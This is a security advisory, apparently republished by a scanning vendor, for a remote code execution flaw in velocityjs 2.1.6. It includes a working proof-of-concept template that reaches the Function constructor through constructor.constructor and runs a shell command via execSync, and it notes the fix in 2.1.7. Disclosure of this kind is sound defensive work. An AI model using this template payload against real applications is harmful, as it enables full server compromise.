Velocity.js: Remote Code Execution via property-read to Function constructor (bypass of GHSA-j658-c2gf-x6pq fix) — velocityjs
Improper Control of Generation of Code ('Code Injection')Summary
Remote Code Execution (RCE) in velocityjs v2.1.6 via property-read to the Function constructor. This bypasses the fix for GHSA-j658-c2gf-x6pq ("Prototype Pollution in #set path assignment") — that advisory blocked constructor/proto/prototype only in the #set assignment handler (set.cjs), but property read expressions are unfiltered. Any application rendering attacker-controlled Velocity templates is vulnerable to arbitrary code execution on the server.
Details
GHSA-j658-c2gf-x6pq added isBlockedPathKey() to dist/cjs/compile/set.cjs:35-43, which blocks proto, constructor, and prototype keys. However, this check only runs when the #set directive assigns a value — it validates the assignment target path, not the value expression being evaluated. The value expression is evaluated via getReferences() in dist/cjs/compile/references.cjs:16, which calls getAttributes() at line 81. The property access at line 88-89 has no filtering: // references.cjs:81-91 getAttributes(property, baseRef, ast) { if (property.type === "property") { return baseRef[property.id]; // ← NO BLOCK on "constructor", "prototype", etc. } ... } Meanwhile, set.cjs:35-43 properly blocks these keys, but only for the #set target: // set.cjs:35-43 isBlockedPathKey(baseRef, key, isEnd) { if (key === PROTO_KEY) return true; // "proto" if (key === "prototype" && typeof baseRef === "function") return true; return !isEnd && PROTOTYPE_CHAIN_KEYS.has(key) && !hasOwnProperty(baseRef, key); } The exploit chain:
- $x.constructor → getAttributes() → {}["constructor"] → Object
- .constructor → getAttributes() → Object["constructor"] → Function
- ("return process.mainModule.require('child_process').execSync('whoami')") → calls Function(...) → creates a function
- The #set assigns the result to $f, which is then rendered as $r The #set handler validates $f as the assignment target (which passes — f is not blocked), but never inspects the right-hand expression for prototype chain traversal.
PoC
const velocity = require('velocityjs');
const template = "#set($f=$x.constructor.constructor("return process.mainModule.require('child_process').execSync('whoami').toString()"))#set($r=$f())$r";
console.log(velocity.render(template, { x: {} })); // Output: <current OS username> Verified on velocityjs v2.1.6, Node.js v24.15.0, Windows.
Impact
Type: Remote Code Execution (RCE)
Any application that renders attacker-controlled Velocity templates using velocityjs is vulnerable to full server compromise. The attacker can execute arbitrary shell commands, read environment variables, access cloud credentials, and pivot to internal network resources. The existing advisory GHSA-j658-c2gf-x6pq established the threat model: "any app rendering attacker-controlled templates." This finding demonstrates that the fix was incomplete — the #set blocking was added but property read expressions remain unfiltered, making the issue strictly worse (RCE vs prototype pollution).
Patches
Fixed in velocityjs 2.1.7. The fix was merged in pull request #192 and released as v2.1.7. Users should upgrade to version 2.1.7 or later.
| Software | From | Fixed in |
|---|---|---|
velocityjs
|
- | 2.1.7 |
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime
Frequently Asked Questions
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.